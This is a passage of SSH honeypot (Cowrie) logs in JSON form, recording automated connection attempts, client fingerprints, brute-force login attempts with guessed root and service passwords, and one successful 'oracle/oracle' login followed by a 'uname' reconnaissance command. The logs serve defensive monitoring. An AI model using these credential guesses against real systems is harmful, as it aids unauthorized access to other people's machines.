com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:02.485289Z","src_ip":"5.196.136.131","session":"d8e47f723dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:02.744575Z","src_ip":"5.196.136.131","session":"d8e47f723dac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.88.94","src_port":47342,"dst_ip":"159.203.135.109","dst_port":22,"session":"91cc13b822e8","protocol":"ssh","message":"New connection: 162.144.88.94:47342 (159.203.135.109:22) [session: 91cc13b822e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:03.540370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:03.545290Z","src_ip":"162.144.88.94","session":"91cc13b822e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:03.631612Z","src_ip":"162.144.88.94","session":"91cc13b822e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:03.828060Z","src_ip":"5.196.136.131","session":"d8e47f723dac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"S1@c0!n@S3cur3","message":"login attempt [root/S1@c0!n@S3cur3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:03.887378Z","src_ip":"162.144.88.94","session":"91cc13b822e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:05.257709Z","src_ip":"162.144.88.94","session":"91cc13b822e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":18781,"dst_ip":"10.17.0.5","dst_port":22,"session":"b63ea80b6593","protocol":"ssh","message":"New connection: 5.196.136.131:18781 (10.17.0.5:22) [session: b63ea80b6593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:06.874694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:06.878225Z","src_ip":"5.196.136.131","session":"b63ea80b6593","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:06.953360Z","src_ip":"5.196.136.131","session":"b63ea80b6593","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:07.180958Z","src_ip":"5.196.136.131","session":"b63ea80b6593","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:08.259076Z","src_ip":"5.196.136.131","session":"b63ea80b6593","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":25766,"dst_ip":"10.17.0.5","dst_port":22,"session":"464a7e869b0d","protocol":"ssh","message":"New connection: 5.196.136.131:25766 (10.17.0.5:22) [session: 464a7e869b0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:11.398285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:11.402316Z","src_ip":"5.196.136.131","session":"464a7e869b0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:11.481369Z","src_ip":"5.196.136.131","session":"464a7e869b0d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle","message":"login attempt [oracle/oracle] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:11.719365Z","src_ip":"5.196.136.131","session":"464a7e869b0d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:11.918676Z","src_ip":"5.196.136.131","session":"464a7e869b0d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:11.921382Z","src_ip":"5.196.136.131","session":"464a7e869b0d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:12.003181Z","src_ip":"5.196.136.131","session":"464a7e869b0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:12.007035Z","src_ip":"5.196.136.131","session":"464a7e869b0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.92.241.150","src_port":33278,"dst_ip":"10.17.0.5","dst_port":22,"session":"2170077487e2","protocol":"ssh","message":"New connection: 188.92.241.150:33278 (10.17.0.5:22) [session: 2170077487e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:12.126585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:12.130150Z","src_ip":"188.92.241.150","session":"2170077487e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:12.258356Z","src_ip":"188.92.241.150","session":"2170077487e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"huawei@1234","message":"login attempt [root/huawei@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:12.806697Z","src_ip":"188.92.241.150","session":"2170077487e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":15589,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5f60e24a807","protocol":"ssh","message":"New connection: 178.20.210.208:15589 (159.203.135.109:22) [session: c5f60e24a807]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:13.705453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:13.752123Z","src_ip":"178.20.210.208","session":"c5f60e24a807","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:13.837171Z","src_ip":"178.20.210.208","session":"c5f60e24a807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:13.971371Z","src_ip":"188.92.241.150","session":"2170077487e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@2wsx123","message":"login attempt [root/1qaz@2wsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:14.244437Z","src_ip":"178.20.210.208","session":"c5f60e24a807","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:15.349069Z","src_ip":"178.20.210.208","session":"c5f60e24a807","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":24369,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f1ce98d8011","protocol":"ssh","message":"New connection: 5.196.136.131:24369 (10.17.0.5:22) [session: 6f1ce98d8011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:15.751543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:15.755643Z","src_ip":"5.196.136.131","session":"6f1ce98d8011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:15.834754Z","src_ip":"5.196.136.131","session":"6f1ce98d8011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:16.072859Z","src_ip":"5.196.136.131","session":"6f1ce98d8011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:17.154251Z","src_ip":"5.196.136.131","session":"6f1ce98d8011","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.125.169.27","src_port":49361,"dst_ip":"10.17.0.5","dst_port":22,"session":"aecb3fc471ee","protocol":"ssh","message":"New connection: 179.125.169.27:49361 (10.17.0.5:22) [session: aecb3fc471ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:19.104608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:19.112116Z","src_ip":"179.125.169.27","session":"aecb3fc471ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:19.242635Z","src_ip":"179.125.169.27","session":"aecb3fc471ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2019@","message":"login attempt [root/unitedstates2019@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:19.633007Z","src_ip":"179.125.169.27","session":"aecb3fc471ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":47855,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ec3ea992d6c","protocol":"ssh","message":"New connection: 5.196.136.131:47855 (10.17.0.5:22) [session: 0ec3ea992d6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:20.110251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:49:20.113936Z","src_ip":"5.196.136.131","session":"0ec3ea992d6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"co